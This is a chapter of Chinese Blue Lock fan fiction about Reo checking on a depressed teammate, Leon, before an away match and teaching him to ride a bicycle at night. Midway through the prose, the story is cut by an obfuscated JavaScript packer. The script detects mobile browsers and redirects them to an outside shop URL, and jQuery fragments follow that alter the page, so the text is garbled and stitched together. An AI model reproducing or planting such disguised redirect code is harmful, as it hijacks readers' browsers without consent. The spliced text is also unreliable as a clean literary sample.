50.拉爆了

作品:《【蓝锁】出走王子后日谈

    春末的雨才下过,训练基地里早早躁动起来。客场对阵目前积分榜紧咬他们的阿尔克马尔,这场直接对话的重要性不言而喻。赢则登顶,平或负则又会陷入口诛笔伐。


    “达恩呢?”队长环顾四周,皱起眉头。在球队大巴即将出发前,那个动静最大的身影不见踪影。


    主教练脸色有些不太自然,他拍了拍手示意大家安静。“范德海登今天无法随队出征。我们需要调整首发。”


    更衣室瞬间炸开了锅。


    “受伤了?什么时候的事?昨天训练还好好的!”


    “是旧伤复发?还是新伤?”


    “教练,到底怎么回事?”


    范尼教练难得地显露出一丝尴尬,他清了清嗓子,在队员们灼灼的目光下不得不给出一个解释。


    “没有大碍,只是有点尴尬的个人健康问题。”他试图含糊其词。


    但这显然无法满足一群好奇心旺盛的职业球员,各种猜测立刻像雨点般砸来:


    “难道是热身的时候扯到蛋了?”一个年轻后卫口无遮拦,“要么就是拉裤链的时候割破老二了。”


    “说不定是痔疮犯了?我听说坐大巴长途颠簸容易……”


    “割□□术后恢复期?”不知谁又冒出一句,引来一阵压低的笑声。


    “停!”他提高了音量,越猜越离谱,还不如自己直接说了,“是腹泻。他拉肚子了,从昨晚开始,队医建议他留队观察,避免旅途劳顿加重症状。”


    “腹泻?!在这种关键时候?!”


    “老天……这理由可真够体面的。”


    玲王坐在自己的位子上,听到这个原因时嘴角也忍不住抽动了一下。但在这种关键时刻却让人一点也笑不出来。


    达恩的缺席可不仅仅是少了一个锋线上的强力支点和冲击点那么简单,这意味着战术板上熟悉的名字要被擦掉换上另一个。而替补席上符合这个位置轮换要求的……


    几乎所有人的目光第一次这么整齐地看向角落中的莱昂·科内茨。


    莱昂似乎对聚焦而来的视线毫无所觉,他半闭着眼睛,头靠着冰冷的铁皮柜,金发黯淡。他最近状态并未回升,反应迟缓,射门感觉更是飘忽如同断线风筝。让这样的人替代状态火热的达恩,在这样一场可能决定赛季走势的客场硬仗中首发?这是理智的选择吗?尽管伤兵满营的PSV别无选择。


    退一万步讲,达恩就非得拉吗?


    “科内茨,你今天首发,顶替达恩的位置。战术安排会稍后详细说明。”主教练试图鼓舞气氛,“不管谁站在场上,我要看到的是胜利。阿尔克马尔的主场不好踢,但我们是PSV。清楚了吗?”


    “清楚了!” 回应声参差不齐,毫无底气。


    球队下榻的酒店靠近阿尔克马尔主场,窗外是灰蒙蒙一片的荷兰低地雨景。晚餐安排在酒店餐厅,长桌上摆着标准的运动员餐食:水煮鸡肉和意面,还有摆盘很努力但仍然显得很健康的蔬菜沙拉。


    气氛不算热烈,客场作战的压力和对明天阵容的担忧让咀嚼声都显得格外无力。玲王拿起叉子后习惯性地环顾餐桌。少了一个大块头的身影,没人吧唧嘴了,这点很好。紧接着他意识到还少了另一个人。


    “莱昂呢?”他问旁边正跟意面较劲的巴贝尔。


    巴贝尔头也不抬:“楼上房间吧。别管他了,他又不是三岁小孩,不会自己叫客房服务?”


    旁边有人促狭地笑着接话:“他不吃东西是想保持健康——怕像达恩一样拉爆了,裤子都提不上。”


    这话引来几声大笑,但很快被队长瞪了回去。


    队长切着盘子里的鸡肉,无动于衷。他对玲王说:“Reo,你去看看他。这家伙很有可能已经泡在浴缸的热水里切开手腕了。或者和天花板拔河什么的。”


    玲王叉子停在半空:“为什么是我?”


    队长终于抬眼看他:“很明显吧?第一,整个队里就你和他交流最多,虽然大部分时间看起来像鸡同鸭讲。第二,他外语烂得让本地人都想报警,而你恰好会那么几句德语,够用了。最重要的第三点——”


    “我不想上去看见他那张半死不活的脸,影响我今晚消化。你去。”


    玲王看着队长那张理所当然的脸,又看看周围队友们一副舍你其谁的表情,知道反驳无效。他放下叉子用餐巾擦了擦嘴角,叹了口气站起身。


    “行吧。”他摆摆手算是认命,“先告诉我荷兰的急救电话是什么。”


    玲王在队友们“祝你好运”和“当心别被他传染了忧郁症”的调侃中离开餐厅走向电梯。酒店的走廊铺着厚厚的地毯,脚步声被吸得一干二净,只有壁灯投下昏黄安静的光。


    他停在莱昂的房门前敲了敲。里面没有回应。


    他又敲了两下,稍微用力。“科内茨?是我,玲王。”


    过了大约十秒钟,里面传来窸窸窣窣的声音,然后是门锁转动的声音。门开了一条缝,莱昂苍白的脸出现在门后,金发凌乱,身上还是那件看起来永远脱不下来的厚外套。


    “队长让我来看看。”玲王言简意赅,“你没吃晚饭。需要帮你叫客房服务吗?或者你打算靠光合作用撑到明天比赛?虽然你很菜,但是好像还没有那种功能。”


    莱昂沉默地看着他,摇摇头。


    “随你。”玲王不打算强行劝饭,那只会让事情更古怪,“明天首发知道吧?说不定这会是你找回状态的起点呢。”


    “谢了。”似乎对话已经结束,莱昂准备关上门。


    “嘿,”玲王抵住门,“你确定没问题?”


    对方停住动作,灰蓝的眼睛在门缝的阴影里黯淡,像是一轮坠入幽暗山谷的月亮。


    “问题可从来没离开过我。”他说。


    “好吧,开门。”御影玲王命令,“我们需要谈谈。”


    “所以我们现在为什么会出现在街上?”莱昂的声音闷在竖起的衣领里,只露出一双灰蓝色的眼睛,打量着阿尔克马尔与埃因霍温气质迥异的夜晚街景。湿漉漉的石板路反射着暖黄的灯光,远处运河的水面一片漆黑。


    他们像两个脱离轨道的星体般悄无声息地滑出了球队下榻的酒店,融入了春季夜晚稀少的行人中。


    “呼吸点不一样的空气。”玲王走在他旁边半步远的地方,手插在外套口袋里,“酒店里太闷了。而且你不也没反对?”


    莱昂没吭声,算是默认。或许他也觉得那四面墙壁比室外的寒冷更让人难以忍受。


    “你以前来过荷兰吗?除了踢球。”玲王问,试图驱散一些夜晚的静默。


    “小时候。妈妈演出的时候偶尔会带我来,跟着乐团。”


    “你妈妈是音乐家?”


    “钢琴。”莱昂似乎不愿多说,紧接着像是预防什么似地特别声明,“但我不会。完全不会弹钢琴。”


    玲王忍不住偏头看了他一眼:“……也没人问你那个吧。”


    莱昂似乎松了口气,把下巴往衣领里埋得更深了些。


    他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967566|191326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    漫无目的地走了一阵,穿过寂静的桥,路过已经打烊的商铺。玲王忽然停下脚步望向远处黑黢黢的地平线方向。


    “我突然想看看风车。”他说,语气平常得像在说我们去便利店吧。


    莱昂缓慢地转过头用看疯子一样的眼神狐疑地盯着他:“你早该在第一次接触我的时候就戴上口罩的,你疯得不比我轻。你知道现在几点吗?你知道最近的风车村离这里有多远吗?走路?走到天亮?你知道我们明天下午有比赛吧?”


    “我们可以骑自行车。”玲王理所当然地说,仿佛这才想起他们身处何地。荷兰,自行车轮上的国度,从学生到政要,从通勤到休闲,骑行是生活常态。两个轮子是比两条腿更寻常的交通方式。


    “不要。”莱昂立刻拒绝,斩钉截铁。停顿两秒,他才有些不情愿地补充,“好吧,其实我不会。”


    “你不会骑自行车?”玲王这次真的有些惊讶了。这比听说莱昂不会弹钢琴更出乎意料,可恶,这家伙甚至会踩单车的假动作啊?!


    “妈妈以前总说等她忙完那一阵就亲自教我骑。小时候觉得自己偷偷去学像是破坏约定。后来……”他耸了下肩,“你知道的,尴尬的青春期。我们的话越来越少。再后来我自己有了车,就完全没再理会过这种事了。”


    很精神病人的逻辑。因为一个未完成的承诺就永远搁置一项技能,直到它变得不再必要。玲王听完没做评论。


    不远处一对年轻情侣似乎刚结束约会,正推着两辆样式普通的自行车慢悠悠地走着。


    玲王径直走过去,掏出钱夹,笑容满面地同他们攀谈,很快完成了交易。那对情侣拿着远超出自行车价值的钞票困惑地快速离开了,边走边回头。这种脑子不清醒的富人醉汉说不定会反悔呢?


    玲王推着两辆车回来,把其中一辆递给莱昂。“现在,你有车了。”莱昂看着那辆对于他身高来说略显矮小的自行车,表情复杂。


    接下来的半小时,在阿尔克马尔郊区一条僻静的小路上上演了一幕足以让任何PSV球迷大跌眼镜的景象:他们租借来的中场核心正一脸严肃地扶着车后座,指导他们的德国前锋学习如何保持平衡和踩动踏板。


    “眼睛看前面,别看脚!”


    “重心!重心靠前一点!”


    “别捏死刹车!轻轻点!”


    “转向!要倒了!左边!左边!”


    莱昂学得磕磕绊绊,起初几乎无法保持直线,车子歪歪扭扭,好几次差点连人带车栽进路边的沟里。渐渐地,车轮滚动的声音变得平稳,寒冷的夜风掠过耳畔,道路在车灯下向后飞退。


    玲王确定他刚才看到莱昂的脸上露出一个真实的笑,或许在病症之下的,真实的他就是那样生动的一个人呢?因为某些缘故,他的心中住着一个顽劣的孩子。


    他们并排骑着,没有说话,只有车轮碾过湿滑路面的沙沙声。路灯越来越少,两侧是开阔的田野,黑暗中传来泥土和植物的气息。


    “你累了吧?Reo,我觉得我现在可以载你。把你的车子丢在一边吧。”


    “不要。”斩钉截铁的拒绝。


    “为什么?”莱昂很受伤,“不信任我。”


    “我读中学的时候经常和朋友这么玩。”


    “后来呢?”


    “后来我发现两个人用一辆车太累了。对两个人来说都是这样——就算你坐在后座,一直蜷缩着双腿也很难受,不是吗?”玲王说,“所以只要目的地是一样的话,分开会比较好吧?”